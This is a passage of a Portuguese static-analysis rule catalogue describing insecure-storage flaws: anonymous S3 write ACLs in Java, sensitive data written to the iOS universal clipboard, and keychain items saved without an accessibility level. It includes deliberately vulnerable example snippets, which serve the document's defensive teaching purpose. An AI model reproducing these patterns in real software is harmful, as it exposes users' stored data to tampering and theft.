[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_write_acp_anonymous_access
Abstract
O aplicativo concede acesso de gravação anônimo a um bucket ou objeto do AWS S3.
Explanation
A concessão de acesso de gravação anônimo a um bucket ou objeto permite que os invasores substituam o conteúdo ou façam upload de conteúdo mal-intencionado.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso de gravação anônimo ao bucket foo.


GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
List<Grant> grants = getAclRes.grants();

Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
Permission fc_permission = Permission.fromValue("Write");
Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
grants.add(grant);

AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark partial
[6] Standards Mapping - Common Weakness Enumeration CWE ID 284, CWE ID 359
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[16] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[17] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[19] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.4.2 Access Control Architectural Requirements (L2 L3), 1.4.4 Access Control Architectural Requirements (L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.java.insecure_storage_s3_write_anonymous_access
Abstract
O aplicativo armazena conteúdo na área de transferência geral, que é sincronizada automaticamente em todos os dispositivos conectados com a mesma conta do iCloud.
Explanation
A função identificada grava dados na área de transferência geral sem excluí-los da sincronização da área de transferência universal entre dispositivos via Handoff.

O conteúdo gravado na área de transferência geral é armazenado de forma persistente em reinicializações de dispositivos, desinstalações de aplicativos e restaurações de aplicativos. Usar a área de transferência geral com o recurso Área de transferência universal ativado aumenta o risco de dados roubados ou modificados da área de transferência como parte de um ataque de sequestro da área de transferência por um aplicativo mal-intencionado em execução em outro dispositivo.

Além disso, como a Área de transferência universal é compatível com dispositivos que executam o iOS 10 e posterior ou macOS Sierra e posterior, uma ameaça maior é introduzida por dispositivos compatíveis que executam um sistema operacional mais antigo que não contém atualizações de privacidade e segurança mais recentes destinadas a proteger o acesso não autorizado à área de transferência .

Exemplo 1: No código a seguir, os dados são gravados na área de trabalho geral definindo a propriedade items, que compartilha o conteúdo da área de transferência entre os dispositivos do usuário por padrão via área de transferência universal.


...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
UTTypePlainText : sensitiveDataString,
UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...
Exemplo 2: No código a seguir, os dados são gravados na área de transferência geral chamando o método setObjects:localOnly:expirationDate: com o comportamento da área de transferência universal explicitamente ativado, definindo o parâmetro localOnly como NO.


...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]]
localOnly:NO
expirationDate:[NSDate distantFuture]];
...
References
[1] UIPasteboard | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[15] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[16] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[58] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.objc.insecure_storage_universal_clipboard
Abstract
O aplicativo armazena conteúdo na área de transferência geral, que é sincronizada automaticamente em todos os dispositivos conectados com a mesma conta do iCloud.
Explanation
A função identificada grava dados na área de transferência geral sem excluí-los da sincronização da área de transferência universal entre dispositivos via Handoff.

O conteúdo gravado na área de transferência geral é armazenado de forma persistente em reinicializações de dispositivos, desinstalações de aplicativos e restaurações de aplicativos. Usar a área de transferência geral com o recurso Área de transferência universal ativado aumenta o risco de dados roubados ou modificados da área de transferência como parte de um ataque de sequestro da área de transferência por um aplicativo mal-intencionado em execução em outro dispositivo.

Além disso, como a Área de transferência universal é compatível com dispositivos que executam o iOS 10 e posterior ou macOS Sierra e posterior, uma ameaça maior é introduzida por dispositivos compatíveis que executam um sistema operacional mais antigo que não contém atualizações de privacidade e segurança mais recentes destinadas a proteger o acesso não autorizado à área de transferência .

Exemplo 1: No código a seguir, os dados são gravados na área de transferência geral usando o método setItems(_:options:) que compartilha o conteúdo da área de transferência entre os dispositivos do usuário por padrão via área de transferência universal.


...
let pasteboard = UIPasteboard.general
let items: [[String: Any]] = [
["text": sensitiveDataString],
["image": UIImage(data: medicalImageData)!]
]
pasteboard.setItems(items)
...
Exemplo 2: No código a seguir, os dados são gravados na área de transferência geral usando o método setObjects(_:localOnly:expirationDate:) com Comportamento da área de transferência universal ativado explicitamente ao definir o parâmetro localOnly como false.


...
let pasteboard = UIPasteboard.general
let items: [Any] = [
sensitiveDataString,
UIImage(data: medicalImageData)!
]
pasteboard.setObjects([items], localOnly: false, expirationDate: Date.distantFuture)
...
References
[1] UIPasteboard | Apple Developer Documentation Apple
[2] iOS Platform APIs - OWASP Mobile Application Security OWASP
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[7] Standards Mapping - Common Weakness Enumeration CWE ID 312, CWE ID 359
[8] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[15] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[16] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.6, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 3.2, Requirement 3.4, Requirement 4.2, Requirement 6.5.5, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.3 - Sensitive Data Retention, Control Objective 6.1 - Sensitive Data Protection, Control Objective B.2.5 - Terminal Software Design
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[58] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.swift.insecure_storage_universal_clipboard
Abstract
O método identificado armazena dados em um conjunto de chaves sem especificar um nível de acessibilidade.
Explanation
Ao armazenar dados no conjunto de chaves, um nível de acessibilidade, que define quando será possível acessar o item, precisa ser configurado. Os níveis possíveis de acessibilidade incluem:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Quando as proteções de conjunto de chaves foram introduzidas pela primeira vez, o valor padrão era kSecAttrAccessibleAlways, que criou um problema de segurança, já que alguém que pode obter obter acesso ou roubar o dispositivo poderá ler o conteúdo do conjunto de chaves. No momento, o atributo padrão é kSecAttrAccessibleWhenUnlocked, que é um padrão razoavelmente restritivo. No entanto, a documentação pública da Apple discorda sobre o que o atributo padrão deve ser; por isso, você deve definir esse atributo explicitamente em todos os itens de conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves é armazenado sem especificar claramente um nível de acessibilidade que pode se comportar de forma diferente em versões diferentes do iOS:


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
O método identificado armazena dados em um conjunto de chaves sem especificar um nível de acessibilidade.
Explanation
Ao armazenar dados no conjunto de chaves, um nível de acessibilidade, que define quando será possível acessar o item, precisa ser configurado. Os níveis possíveis de acessibilidade incluem:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
